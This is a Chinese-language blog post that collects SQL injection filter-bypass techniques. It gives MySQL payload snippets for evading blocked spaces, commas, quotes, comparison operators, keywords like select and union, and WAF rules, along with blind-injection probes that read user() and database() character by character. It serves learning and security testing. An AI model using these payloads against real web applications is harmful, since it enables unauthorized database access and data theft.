sql注入绕过技巧(积累中)

sql注入的绕过姿势(正在努力积累中)

1. 过滤绕过

1.1 空格过滤绕过

用圆括号包起来

关键词是不能被括号包起来的,如selectwherefrom

1
2
3
4
select(name)from(worm);


select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())

使用/**/绕过

1
select/**/name/**/from/**/user

使用回车绕过

1
%20 %09 %0a %0b %0c %0d %a0

附上:URL编码参考表

使用`,反引号绕过

将需要查询的东西用\`包起来,和圆括号用法类似,关键字不能被包起来

1
2
3
select*from`worm`

select`name`from`worm`

1.2 逗号过滤

union中的逗号

这里的a,b是给表取别名

1
select 1,2 union select * from ((select 3)a join (select 4)b)

limit中的逗号

使用offset替换,limit 3 offset 1 等价于limit 1,3

1
select * from client_ip limit 1 offset 0

substr/mid

绕过方法: from x for y

1
2
3
substr('password', 5, 1)等价于substr('password' from 5 for 1)

mid('password', 5, 1)等价于mid('password' from 5 for 1)

1.3 过滤 >, <

  • greatest函数绕过

greatest(a,b),返回a和b中较大的那个数

1
2
# 猜解user()第一个字符的ascii码是否小于等于150时
ascii(mid(user(),1,1)) <= 150 等价于 greatest(ascii(mid(user(),1,1)), 150)=150;

其他的方法可参考下面1.6中的过滤比较运算时的=

1.4 过滤ascii

使用ord()

1
ord(mid(database(),1,1))=116

1.5 过滤select

利用数值计算盲注或时间盲注

1
|| ascii(mid(user(),1,1) ) = 97 %23

1.6 过滤=

过滤查询表名、列名等中的=

使用regexp绕过

1
select group_concat(table_name) from information_schema.tables where table_schema regexp database()

过滤比较运算时的=

使用<绕过

1
ascii(mid(database(),1,1)) < 116

使用>绕过

1
ascii(mid(database(),1,1)) > 116

使用!=绕过

1
ascii(mid(database(),1,1)) != 116

使用regexp绕过

1
ascii(mid(database(),1,1)) regexp 115

使用in绕过

1
ascii(mid(database(),1,1)) in (117)

使用like绕过

1
ascii(mid(database(),1,1)) like 116

1.7 过滤单引号或双引号

  • 字符串转换函数绕过
1
char()
  • 十六进制数绕过
1
2
unhex(6162)
select 0x61

1.8 进制换算

1
2
3
4
5
6
7
8
9
10
' or 'a' = n'a # unicode
' %u0061nd 1 = 1 # 绕过waf可能会有用
' or 'a' = b'1100001 # binary的字符串"a"
' or 'a' = x'61 # hex
' and substr(data,1,1) = 0x61#
' and substr(data,1,1) = unhex(61)#
' and substr(data,1,1) = char(97)#
' and substr(data,1,1) = lower(conv(10,10,36))# 'a'
' and substr(data,1,1) = lower(conv(11,10,36))# 'b'
' and substr(data,1,1) = lower(conv(35,10,36))# 'z'

1.9 过滤and,or

使用&&和||绕过

1
2
1 || 1 = 1 
1 && 1 = 1

1.10 过滤union

子查询盲注

1
1 || (select user from users where user_id = 1) = 'admin'

本文标题:sql注入绕过技巧(积累中)

文章作者:xianyu123

发布时间:2019年01月29日 - 16:26

最后更新:2020年08月11日 - 19:55

原始链接:http://0clickjacking0.github.io/2019/01/29/sql注入绕过技巧-积累中/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------    本文结束  感谢您的阅读    -------------